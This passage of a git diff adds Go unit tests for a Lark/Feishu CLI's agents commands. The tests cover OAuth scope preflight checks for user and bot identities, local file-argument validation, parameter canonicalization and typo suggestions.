// the raw JSON body for appmeta to project; any non-typed transport error is
|
||||
// classified so callers only see typed errs.* values (though botTenantScopes
|
||||
// treats every error as a no-op anyway).
|
||||
type appmetaBotClient struct{ client *client.APIClient }
|
||||
|
||||
func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
|
||||
resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
|
||||
}
|
||||
return json.RawMessage(resp.RawBody), nil
|
||||
}
|
||||
434
cmd/agents/preflight_test.go
Normal file
434
cmd/agents/preflight_test.go
Normal file
@@ -0,0 +1,434 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
|
||||
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
|
||||
// one of fakescopedAllScopes for any real API verb.
|
||||
func scopedInfo(t *testing.T) iagents.Provider {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
prov, ok := iagents.Info("fakescoped")
|
||||
if !ok {
|
||||
t.Fatal("fakescoped provider should be registered")
|
||||
}
|
||||
return prov
|
||||
}
|
||||
|
||||
// requirePreflightError asserts err is the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
|
||||
// value for field assertions.
|
||||
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("want missing_scope error, got nil")
|
||||
}
|
||||
var pe *errs.PermissionError
|
||||
if !errors.As(err, &pe) {
|
||||
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
if pe.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("exit code should be 3, got %d", code)
|
||||
}
|
||||
return pe
|
||||
}
|
||||
|
||||
// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
|
||||
// user token holding only some of the provider's scopes fails with EVERY missing
|
||||
// scope named (sorted) in both the message and missing_scopes, and a re-auth
|
||||
// hint listing ONLY the missing scopes (the open platform authorizes
|
||||
// incrementally, so re-login with just the missing keeps existing grants — no
|
||||
// merge needed, mirroring cmd/event).
|
||||
func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
|
||||
t.Errorf("message should list all missing scopes, got %q", ve.Message)
|
||||
}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
// Incremental hint: ONLY the missing scopes (not merged with existing grants).
|
||||
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
|
||||
if !strings.Contains(ve.Hint, wantScopeArg) {
|
||||
t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
|
||||
}
|
||||
// And must NOT re-list an already-granted scope.
|
||||
if strings.Contains(ve.Hint, "im:message") {
|
||||
t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
|
||||
// list (fetch failed / app unpublished → nil), the bot check downgrades to a
|
||||
// no-op, so the bus/API handshake owns the error.
|
||||
func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: nil,
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotMissingScopes pins the bot branch: given the app's published
|
||||
// TenantScopes, a missing scope is reported with the BOT remediation hint (add
|
||||
// in the developer console + re-publish), NOT a user re-login.
|
||||
func TestPreflightBotMissingScopes(t *testing.T) {
|
||||
// Tenant token carries 2 of the 4 fakescoped scopes.
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
if ve.Identity != string(core.AsBot) {
|
||||
t.Errorf("error identity should be bot, got %q", ve.Identity)
|
||||
}
|
||||
// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
|
||||
if strings.Contains(ve.Hint, "auth login") {
|
||||
t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
|
||||
}
|
||||
if !strings.Contains(ve.Hint, "developer console") {
|
||||
t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotAllScopesPresent pins the bot happy path.
|
||||
func TestPreflightBotAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("bot with all tenant scopes should pass, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
|
||||
// without a scope list) yields nil so the downstream not_configured /
|
||||
// need-authorization path owns the error.
|
||||
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: nil,
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("no token scope list should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
|
||||
// fakescoped scopes passes the all-or-nothing check.
|
||||
func TestPreflightAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("should pass when all scopes present, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
|
||||
// is missing even a single scope fails, and the reported missing set is exactly
|
||||
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
|
||||
// gone).
|
||||
func TestPreflightMissingAnyScopeFails(t *testing.T) {
|
||||
// Missing exactly one scope (attachment) → that one scope is reported.
|
||||
ve := requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{
|
||||
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
|
||||
},
|
||||
Provider: scopedInfo(t),
|
||||
}))
|
||||
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
|
||||
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
|
||||
}
|
||||
|
||||
// Only the write scope → the other three are all reported.
|
||||
ve = requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
|
||||
}))
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Command wiring: each verb runs preflight after resolveProvider and before
|
||||
// any real API call. The stored-scope read goes through the storedUserScopes
|
||||
// seam so no test touches the real keychain; zero httpmock stubs are
|
||||
// registered, so any HTTP request would fail the test with a transport error
|
||||
// instead of the asserted missing_scope.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
|
||||
func swapStoredScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := storedUserScopes
|
||||
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { storedUserScopes = old })
|
||||
}
|
||||
|
||||
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
|
||||
// explicitly set to user so ResolveAs honors it verbatim.
|
||||
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
|
||||
t.Helper()
|
||||
parent := &cobra.Command{Use: "lark-cli"}
|
||||
for _, name := range names {
|
||||
child := &cobra.Command{Use: name}
|
||||
parent.AddCommand(child)
|
||||
parent = child
|
||||
}
|
||||
parent.Flags().String("as", "", "identity")
|
||||
if err := parent.Flags().Set("as", "user"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
parent.SetContext(context.Background())
|
||||
return parent
|
||||
}
|
||||
|
||||
// userFactory builds a test Factory + registry for a user-identity run.
|
||||
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f, reg
|
||||
}
|
||||
|
||||
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
|
||||
// holds none of the provider's scopes fails with missing_scope
|
||||
// (reporting the full set) and no request.
|
||||
func TestSendPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
|
||||
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
|
||||
// still fails the all-or-nothing check, reporting the three scopes it lacks.
|
||||
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
|
||||
// scope-free — it succeeds even when the token has none of the provider scopes.
|
||||
func TestSendDryRunSkipsPreflight(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("--dry-run should not run scope preflight: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
|
||||
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
|
||||
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
|
||||
// (resolveDownload path): it too runs the all-or-nothing preflight before the
|
||||
// API call.
|
||||
func TestTaskGetArtifactPreflightFires(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
ArtifactID: "art_1", Output: "out.bin",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
|
||||
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskListRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user",
|
||||
})
|
||||
requirePreflightError(t, err)
|
||||
}
|
||||
|
||||
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
|
||||
// wiring: all three run the all-or-nothing preflight.
|
||||
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
|
||||
runs := []struct {
|
||||
name string
|
||||
run func(f *cmdutil.Factory) error
|
||||
}{
|
||||
{"list", func(f *cmdutil.Factory) error {
|
||||
return agentContextListRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
|
||||
})
|
||||
}},
|
||||
{"get", func(f *cmdutil.Factory) error {
|
||||
return agentContextGetRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "get"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
|
||||
})
|
||||
}},
|
||||
{"delete", func(f *cmdutil.Factory) error {
|
||||
return agentContextDeleteRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "delete"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
|
||||
})
|
||||
}},
|
||||
}
|
||||
for _, tc := range runs {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
requirePreflightError(t, tc.run(f))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
|
||||
// provider scope set lets the real send proceed (the scripted Send hook fires,
|
||||
// proving preflight did not false-positive).
|
||||
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
|
||||
swapStoredScopes(t, fakescopedAllScopes)
|
||||
f, _ := userFactory(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
sent = true
|
||||
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}, nil
|
||||
}})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Fatal("provider.Send should actually be called after preflight passes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
|
||||
// gate (fakemin card declares task_cancel=false) answers before
|
||||
// provider/preflight, so a scope-missing user token yields
|
||||
// unsupported_capability, not missing_scope — proving the wired
|
||||
// preflight does not change the gate-first ordering.
|
||||
func TestTaskCancelPreflightWired(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "cancel"),
|
||||
Ref: "fakemin:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
|
||||
// app-version fetch / network.
|
||||
func swapBotTenantScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := botTenantScopes
|
||||
botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { botTenantScopes = old })
|
||||
}
|
||||
|
||||
// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
|
||||
// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
|
||||
// storedUserScopes) for a bot identity and blocks a missing scope.
|
||||
func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if ve.Identity != string(core.AsBot) {
|
||||
t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
|
||||
}
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// contains reports whether s appears in the slice.
|
||||
func contains(ss []string, s string) bool {
|
||||
for _, x := range ss {
|
||||
if x == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
11
cmd/agents/register_test.go
Normal file
11
cmd/agents/register_test.go
Normal file
@@ -0,0 +1,11 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
// Provider packages are pure data (no init side effect); the top-level agent
|
||||
// package's init aggregates and registers them. In production that package is
|
||||
// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
|
||||
// the real example scheme (example:echo / example:reporter), so blank-import the
|
||||
// top-level agent package to run its registration for the test binary.
|
||||
import _ "github.com/larksuite/cli/agents"
|
||||
203
cmd/agents/review_fixes_test.go
Normal file
203
cmd/agents/review_fixes_test.go
Normal file
@@ -0,0 +1,203 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Tests pinning the excellence-review fixes: the --file local gate, scalar
|
||||
// canonicalization across channels, nearest-first unknown-param suggestions,
|
||||
// and the terminal self-loop removal in meta.next.
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
// TestValidateSendFiles pins the --file local gate: relative-within-CWD +
|
||||
// existing regular file, all violations collected in one pass.
|
||||
func TestValidateSendFiles(t *testing.T) {
|
||||
mkSendFile(t, "ok.txt")
|
||||
|
||||
if err := validateSendFiles([]string{"ok.txt"}); err != nil {
|
||||
t.Fatalf("a relative existing file should pass, got %v", err)
|
||||
}
|
||||
if err := validateSendFiles(nil); err != nil {
|
||||
t.Fatalf("no files should pass, got %v", err)
|
||||
}
|
||||
|
||||
abs := filepath.Join(t.TempDir(), "abs.txt")
|
||||
if err := os.WriteFile(abs, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Mkdir("adir", 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := validateSendFiles([]string{abs, "missing.txt", "adir", "ok.txt"})
|
||||
if err == nil {
|
||||
t.Fatal("abs path + missing file + directory should all be rejected")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
msg := err.Error()
|
||||
for _, want := range []string{abs, "missing.txt", "adir"} {
|
||||
if !strings.Contains(msg, want) {
|
||||
t.Errorf("collect-all message should mention %q, got %q", want, msg)
|
||||
}
|
||||
}
|
||||
if strings.Contains(msg, "ok.txt") {
|
||||
t.Errorf("the valid file must not appear as a violation: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
// canonSpec declares one param per scalar type for canonicalization tests.
|
||||
func canonSpec() *iagents.AgentSpec {
|
||||
return &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{
|
||||
Params: []iagents.CardParam{
|
||||
{Name: "flag", Type: "boolean"},
|
||||
{Name: "n", Type: "integer"},
|
||||
{Name: "render", Type: "object", Fields: []iagents.CardParam{
|
||||
{Name: "watermark", Type: "boolean"},
|
||||
}},
|
||||
},
|
||||
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
|
||||
},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
}
|
||||
}
|
||||
|
||||
// TestParamCanonicalization pins that accepted variant literals normalize to
|
||||
// one canonical wire form regardless of channel: the provider (and dry-run,
|
||||
// and the meta.next carry) never see TRUE/1/+5/04.
|
||||
func TestParamCanonicalization(t *testing.T) {
|
||||
spec := canonSpec()
|
||||
cases := []struct{ kv, key, want string }{
|
||||
{"flag=TRUE", "flag", "true"},
|
||||
{"flag=1", "flag", "true"},
|
||||
{"flag=0", "flag", "false"},
|
||||
{"n=+5", "n", "5"},
|
||||
{"n=04", "n", "4"},
|
||||
{"render.watermark=T", "render.watermark", "true"},
|
||||
{`render={"watermark":"TRUE"}`, "render.watermark", "true"},
|
||||
{`render={"watermark":true}`, "render.watermark", "true"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
vp, err := validateParams([]string{tc.kv}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
|
||||
if err != nil {
|
||||
t.Errorf("%s should validate, got %v", tc.kv, err)
|
||||
continue
|
||||
}
|
||||
if got := vp.Resolved[tc.key]; got != tc.want {
|
||||
t.Errorf("%s: resolved[%s] = %q, want canonical %q", tc.kv, tc.key, got, tc.want)
|
||||
}
|
||||
if got := vp.Given[tc.key]; got != tc.want {
|
||||
t.Errorf("%s: given[%s] = %q, want canonical %q (the carry reads Given)", tc.kv, tc.key, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestUnknownParamSuggestionsNearest pins the typo teaching: a near-miss key
|
||||
// suggests the nearest declared names first (edit distance ≤ 2), not the full
|
||||
// declaration-order table; a cross-verb hit keeps suggestions empty (a verb
|
||||
// name is not a substitutable param name — the reason sentence teaches it).
|
||||
func TestUnknownParamSuggestionsNearest(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
|
||||
_, err := validateParams([]string{"workspce_id=w"}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
|
||||
verr := asValidationErr(t, err)
|
||||
if len(verr.Params) != 2 { // unknown + missing-required workspace_id
|
||||
t.Fatalf("want 2 violations, got %+v", verr.Params)
|
||||
}
|
||||
var sugg []string
|
||||
for _, p := range verr.Params {
|
||||
if p.Name == "workspce_id" {
|
||||
sugg = p.Suggestions
|
||||
}
|
||||
}
|
||||
if len(sugg) == 0 || sugg[0] != "workspace_id" {
|
||||
t.Errorf("typo suggestions should lead with the nearest name, got %v", sugg)
|
||||
}
|
||||
if len(sugg) >= len(spec.Send.Params) {
|
||||
t.Errorf("near-miss suggestions should be filtered, not the full table: %v", sugg)
|
||||
}
|
||||
|
||||
// Cross-verb: task_list declares workspace_id? no — send-only param priority
|
||||
// used against task_list reverse-looks-up to send.
|
||||
_, err = validateParams([]string{"priority=high"}, spec.ListTasks.Params, iagents.VerbTaskList, spec, "acme:x")
|
||||
verr = asValidationErr(t, err)
|
||||
for _, p := range verr.Params {
|
||||
if p.Name == "priority" {
|
||||
if len(p.Suggestions) != 0 {
|
||||
t.Errorf("cross-verb suggestions must not carry verb names, got %v", p.Suggestions)
|
||||
}
|
||||
if !strings.Contains(p.Reason, "声明在") {
|
||||
t.Errorf("cross-verb reason should teach where it is declared, got %q", p.Reason)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func asValidationErr(t *testing.T, err error) *errs.ValidationError {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("expected a validation error")
|
||||
}
|
||||
verr, ok := err.(*errs.ValidationError)
|
||||
if !ok {
|
||||
t.Fatalf("want *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
return verr
|
||||
}
|
||||
|
||||
// TestNextForTaskNoSelfLoop pins that a terminal task viewed via task get does
|
||||
// not suggest the very command just executed; artifact downloads remain.
|
||||
func TestNextForTaskNoSelfLoop(t *testing.T) {
|
||||
spec := &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
DownloadArtifact: iagents.ArtifactDownloadOp{
|
||||
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
|
||||
},
|
||||
}
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
|
||||
Artifacts: []iagents.Artifact{{ID: "art_1", Kind: "text"}},
|
||||
}
|
||||
|
||||
// Viewed from send: the detail suggestion IS the increment — keep it.
|
||||
fromSend := nextForTask("example:x", task, spec, nil, iagents.VerbSend)
|
||||
if len(fromSend) < 1 || !strings.Contains(fromSend[0].Command, "task get example:x task_1") {
|
||||
t.Fatalf("send caller should keep the detail suggestion, got %+v", fromSend)
|
||||
}
|
||||
|
||||
// Viewed from task get: the detail suggestion is a self-loop — drop it.
|
||||
fromGet := nextForTask("example:x", task, spec, nil, iagents.VerbTaskGet)
|
||||
for _, n := range fromGet {
|
||||
if !n.Template && strings.Contains(n.Command, "task get example:x task_1") && !strings.Contains(n.Command, "--artifact") {
|
||||
t.Errorf("task get caller must not re-suggest itself, got %+v", fromGet)
|
||||
}
|
||||
}
|
||||
found := false
|
||||
for _, n := range fromGet {
|
||||
if strings.Contains(n.Command, "--artifact art_1") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("artifact download should survive the self-loop removal, got %+v", fromGet)
|
||||
}
|
||||
|
||||
// No artifacts + task get caller → genuinely nothing to add.
|
||||
bare := &iagents.AgentTask{TaskID: "task_2", State: iagents.StateCompleted, IsTerminal: true}
|
||||
if next := nextForTask("example:x", bare, spec, nil, iagents.VerbTaskGet); len(next) != 0 {
|
